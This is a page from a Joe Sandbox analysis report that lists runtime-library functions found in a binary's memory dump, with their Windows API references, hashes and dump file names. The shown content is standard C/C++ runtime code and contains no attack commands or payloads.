Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8c0c750092f2bbdb9e216043416a8f6f700ceff420f6544d4f2118d06b770439
Instruction ID: 2089c62bbb99d9690dcefc6a2ff8c941ef3455c51cd4bbdae27d4dbb915f4acf
Opcode Fuzzy Hash: 8c0c750092f2bbdb9e216043416a8f6f700ceff420f6544d4f2118d06b770439
Instruction Fuzzy Hash: BF01DB35915625EFCB11CF60DC09FAEB7BCFB45B14F008525F812A22D0DB749900CA90

Function 0092FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0092FCC2
__alloca_probe_16.LIBCMT ref: 0092FD8B
__freea.LIBCMT ref: 0092FDF2

Part of subcall function 0092E531: RtlAllocateHeap.NTDLL(00000000,009231E1,0092186A,?,009260C1,0092186C,0092186A,?,?,?,00923181,009231E1,0092186E,0092186A,0092186A,0092186A), ref: 0092E563

__freea.LIBCMT ref: 0092FE05
__freea.LIBCMT ref: 0092FE12

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 2b1ad435d16d684fa6ea35c4b2bf8dabccd02980f325b39d4c0c7ccdb0c22bb0
Instruction ID: 443de7f763eac212baa14a78e639a3aea029d2c0a0da6cc9e69bce0999ceb3e8
Opcode Fuzzy Hash: 2b1ad435d16d684fa6ea35c4b2bf8dabccd02980f325b39d4c0c7ccdb0c22bb0
Instruction Fuzzy Hash: 3651B672501226ABEF219F61EC91EBB76BDEF84710B16053DFD04E6169EB34CC5086A0

Function 00923010 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00923017
std::_Lockit::_Lockit.LIBCPMT ref: 00923022
std::_Lockit::~_Lockit.LIBCPMT ref: 00923090

Part of subcall function 00922EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00922EFC

std::locale::_Setgloballocale.LIBCPMT ref: 0092303D
_Yarn.LIBCPMT ref: 00923053

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 1b5d1bb02c481d616cbf3a8f7bd76ff227b8ffd1e1d3881294704ecccd3dcd32
Instruction ID: a0df219aeeb993f6458ef157a567a0aa0d1464b110ed5773d929e3ff4d0995a2
Opcode Fuzzy Hash: 1b5d1bb02c481d616cbf3a8f7bd76ff227b8ffd1e1d3881294704ecccd3dcd32
Instruction Fuzzy Hash: D4017CB9A056309BCB09EF60E855A7C7761FFC6350B158109E91257389CF386E02EB91

Function 00937E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00937F2E,00000000,?,00946E10,?,?,?,00937E65,00000004,InitializeCriticalSectionEx,0093E57C,0093E584), ref: 00937E9F
GetLastError.KERNEL32(?,00937F2E,00000000,?,00946E10,?,?,?,00937E65,00000004,InitializeCriticalSectionEx,0093E57C,0093E584,00000000,?,0092E1DC), ref: 00937EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00937ED1

Strings

api-ms-, xrefs: 00937EB6

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: c6433c8fa71d438011a51bee66566098e3c405cb08c1daa6b5d8d41b89df0203
Instruction ID: 1e3c9e5dfac5b6506ae3f89e3a3ddff7f2cd8349cb83b460f220048cf35d74f2
Opcode Fuzzy Hash: c6433c8fa71d438011a51bee66566098e3c405cb08c1daa6b5d8d41b89df0203
Instruction Fuzzy Hash: BCE04F74298209BBEF301BB1EC06F597B5DDB51B94F208060F94DB88F1E7A19E50AEC5

Function 0093562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(1206BC9F,00000000,00000000,?), ref: 00935690

Part of subcall function 0092E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0092FDE8,?,00000000,-00000008), ref: 0092E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009358E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00935928
GetLastError.KERNEL32 ref: 009359CB

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8539104f75706ed18fdb5edf52d7291cecfbef5c27b6ba9a74703db3e2dcf55f
Instruction ID: 4a4a88ffc334c9ef4e6600d78b6a0e7d83c529534d040ab05cf33d51aaf87d23
Opcode Fuzzy Hash: 8539104f75706ed18fdb5edf52d7291cecfbef5c27b6ba9a74703db3e2dcf55f
Instruction Fuzzy Hash: C5D198B5D04648DFCB05CFA8D880AAEBBF9FF4D310F29452AE856EB251D630A941CF50

Function 0092D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0092D976
___AdjustPointer.LIBCMT ref: 0092D999
___AdjustPointer.LIBCMT ref: 0092DA35

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 21143368538983fc5cca214c0812f9f6d7891e5bf58359e3cd6b42b2d9f8b2da
Instruction ID: d308938f53a6fb2d7f01704f3b3e42e653adc18a6531c64a95f7eb95a46a726f
Opcode Fuzzy Hash: 21143368538983fc5cca214c0812f9f6d7891e5bf58359e3cd6b42b2d9f8b2da
Instruction Fuzzy Hash: 5551257A607626AFDB289F10F841BBAB3B8EF44310F24442DF94157299E731ED80CB90

Function 00933537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0092E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0092FDE8,?,00000000,-00000008), ref: 0092E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0093359B
__dosmaperr.LIBCMT ref: 009335A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009335DC
__dosmaperr.LIBCMT ref: 009335E3

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c0727cb182d458267718fda70e8e4459c22bacd8f7e9081fd1a0adab184d40d6
Instruction ID: b7bb01b1f92222e20fc535298aae9a995ae88b02a62cc322822219dcd368e3d2
Opcode Fuzzy Hash: c0727cb182d458267718fda70e8e4459c22bacd8f7e9081fd1a0adab184d40d6
Instruction Fuzzy Hash: 8421A471640715EFDB20AF66A88196BBBACFF40364B10C519F82997651EB30EF508FA1

Function 00928042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247a612ea4be01b02d248802476af834ac7bbfd7b19dac02522c3ad7b25eaf12
Instruction ID: 64df9d874cb93d6b14c0739205b771bb29e536089473430c8a5f4bf5773e3f01
Opcode Fuzzy Hash: 247a612ea4be01b02d248802476af834ac7bbfd7b19dac02522c3ad7b25eaf12
Instruction Fuzzy Hash: D921C63121A225AFDB20AF71FC80EABB76DAF903647104525F81597599DF31EC1087A1

Function 0093484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00934857

Part of subcall function 0092E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0092FDE8,?,00000000,-00000008), ref: 0092E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0093488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009348AF

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5374ed0f2164a33b2fe816323b507dfddc9c0dc96e421673180f703618cfddb2
Instruction ID: 8d521ee3dbc505df2efe7383685837501961828c44cdadfe960e09f2d359d386
Opcode Fuzzy Hash: 5374ed0f2164a33b2fe816323b507dfddc9c0dc96e421673180f703618cfddb2
Instruction Fuzzy Hash: B41104B5516265BF6A1127B5ACCDD6F395CDF86394B110434F401A1100FA64EE419A70

Function 0092457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00924582
std::_Lockit::_Lockit.LIBCPMT ref: 0092458C

Part of subcall function 009224C2: std::_Lockit::_Lockit.LIBCPMT ref: 009224DE
Part of subcall function 009224C2: std::_Lockit::~_Lockit.LIBCPMT ref: 009224F7

codecvt.LIBCPMT ref: 009245C6
std::_Lockit::~_Lockit.LIBCPMT ref: 009245FD

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 11b6befb29e4b9b976e3368b7310fb9e4e88706c8aa73c8bcd5c9ba9fedaf3bf
Instruction ID: 4021d49be53903054a4e7e7888d6d06e61e03943949b9a98c9a3760e508130ee
Opcode Fuzzy Hash: 11b6befb29e4b9b976e3368b7310fb9e4e88706c8aa73c8bcd5c9ba9fedaf3bf
Instruction Fuzzy Hash: D001C0759002359BCB04EBA4F816BAD77B5BF91310F254508F412A72D9CF749E019B92

Function 0093A4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000), ref: 0093A4F7
GetLastError.KERNEL32(?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000,?,?,?,00935365,00000000), ref: 0093A503

Part of subcall function 0093A554: CloseHandle.KERNEL32(FFFFFFFE,0093A513,?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000,?,?), ref: 0093A564

___initconout.LIBCMT ref: 0093A513

Part of subcall function 0093A535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0093A4D1,00939AFC,?,?,00935A1F,?,00000000,00000000,?), ref: 0093A548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000,?), ref: 0093A528

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d5bca61ce078fd0675d17ad0f318cad6b31553f2f3fa2151c417fe9d72a68c02
Instruction ID: 7ca2d307ae3d8a52b7a729d7f1ec138bba8a4c0db13d7b761634de32997fe618
Opcode Fuzzy Hash: d5bca61ce078fd0675d17ad0f318cad6b31553f2f3fa2151c417fe9d72a68c02
Instruction Fuzzy Hash: 57F0123A024115BFCF221FE5EC04E9E3F26FB86361F004110F99985120D6318920AB92

Function 009259A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009259B9
GetCurrentThreadId.KERNEL32 ref: 009259C8
GetCurrentProcessId.KERNEL32 ref: 009259D1
QueryPerformanceCounter.KERNEL32(?), ref: 009259DE

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 879ab4795e75f6c56d94cd81242a0c9ff23e56846a0b3b149d07235e943f38aa
Instruction ID: 4886730dbf673f2ebc7ae6283655788d1d1e8947e367c31804faf95075205c81
Opcode Fuzzy Hash: 879ab4795e75f6c56d94cd81242a0c9ff23e56846a0b3b149d07235e943f38aa
Instruction Fuzzy Hash: 44F0B234D2520CEBCB00DBB4CA4998EFBF4FF1D200B918596A412E7210E730AB449F50

Function 00932117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00929266,?,?,?,00000055,?,-00000050,?,?,?), ref: 009321D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00929266,?,?,?,00000055,?,-00000050,?,?), ref: 0093220D

Strings

utf8, xrefs: 009322DF

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 146e9b8c66dbef1040a1c051a37b0be87b53b10bb7cc4030f122010eb5235f3e
Instruction ID: 5068f5150969df6dda1864f0b73a640d0904d6b834bd4372d991664e96eec696
Opcode Fuzzy Hash: 146e9b8c66dbef1040a1c051a37b0be87b53b10bb7cc4030f122010eb5235f3e
Instruction Fuzzy Hash: 7A510675644305AADB25BB74DC82FBB73ACEF85B00F144429FA16DB181FB74E9408EA1

Function 0092DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0092DEAD,?,?,00000000,00000000,00000000,?), ref: 0092DFD1

Strings

MOC, xrefs: 0092DFE3
RCC, xrefs: 0092DFEB

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 88d827fac53d6be14d18ef12ec9110b7f00d0c1a202ac450df47b833b8a0184e
Instruction ID: 556c73608bb74a53f696bdc883448947454dcc53493f0c5e21b29cb210352e2d
Opcode Fuzzy Hash: 88d827fac53d6be14d18ef12ec9110b7f00d0c1a202ac450df47b833b8a0184e
Instruction Fuzzy Hash: 60417B31904219EFCF25DF94EC81AEEBBB9FF48304F188059F9046B219D3759951DB50

Function 0092D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0092DA8F

Strings

csm, xrefs: 0092DB22
csm, xrefs: 0092DAB1

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 1e9c1c30f166cbe713c8f09f01912c6fcfd41f5a3a3123914b841fcb4254750d
Instruction ID: be53b2a235d093680086f9cab7538a443982a2aa9a54d9c27ad14ef133cf61f0
Opcode Fuzzy Hash: 1e9c1c30f166cbe713c8f09f01912c6fcfd41f5a3a3123914b841fcb4254750d
Instruction Fuzzy Hash: 02314832506238DFCF229F50EC50DAA7B69FF08364B198259FC448A225C332CDA1DBD1

Function 009229D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0094648C,ios_base::badbit set,?,?,00921C84,00946478,00921B17), ref: 009229DF
ReleaseSRWLockExclusive.KERNEL32(0094648C,?,?,00921C84,00946478,00921B17), ref: 00922A19

Strings

ios_base::badbit set, xrefs: 009229D8

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
